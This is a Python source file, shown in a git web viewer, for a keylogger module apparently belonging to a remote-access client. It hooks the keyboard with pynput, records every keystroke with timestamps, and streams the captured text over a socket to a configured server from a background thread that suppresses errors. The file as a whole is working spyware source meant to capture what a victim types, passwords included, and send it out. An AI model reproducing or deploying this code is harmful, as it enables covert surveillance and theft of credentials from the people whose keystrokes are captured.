summaryrefslogtreecommitdiff
path: root/client/modules/keylogger.py
blob: 9911db5fa7324c27b1c98ed187f2ce2226f5c2fe (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
'''
    Creates a connection to the server, sending the
    keystrokes pressed, with attached timestamps in
    intervals.

    Verified: 2021 February 6
    * Follows PEP8
    * Tested Platforms
        * Windows 10
    * Third Party Modules
        * pynput
'''

from client.modules.module import Module
from shared.helper import Helper
from shared.state import Static
from shared.error import Error
from shared.data import Data

import socket
import pynput
import time
import re


class Keylogger(Module):

    __INTERVAL = Static.LIVE_TIMEOUT / 2

    def __init__(self, token):
        super().__init__(token)
        self.__listener = pynput.keyboard.Listener(
            on_press=self.__press)
        self.__listener.start()
        self.__first = True
        self.__keys = ''

    def __press(self, key):
        key = str(key)

        if key == 'Key.enter':
            key = f'\n{Helper.timestamp()}:'
        else:
            if key == 'Key.space':
                key = ' '
            elif key.startswith('Key.'):
                key = key[4:]
            else:
                if re.search(r'^\[.*]$', key):
                    key = key[1:-1]

                if re.search('^\'.*\'$', key):
                    key = key[1:-1]
                elif re.search('^".*"$', key):
                    key = key[1:-1]
                elif re.search('^<.*>$', key):
                    key = key[1:-1]

            if len(key) > 1:
                key = f'[{key.upper()}]'

        if self.__first:
            self.__first = False
            key = f'{Helper.timestamp()}:{key}'

        self.__keys += key

    @Error.quiet_thread
    def __send(self):
        try:
            with socket.create_connection(
                    (Static.IP, Static.PORT)) as sock:
                Data.send(sock, self.token)
                Data.recv(sock)

                while True:
                    keys, self.__keys = self.__keys, ''
                    Data.send(sock, keys)
                    Data.recv(sock)
                    time.sleep(Keylogger.__INTERVAL)
        finally:
            self.__listener.stop()

    def live(self):
        Helper.thread(self.__send)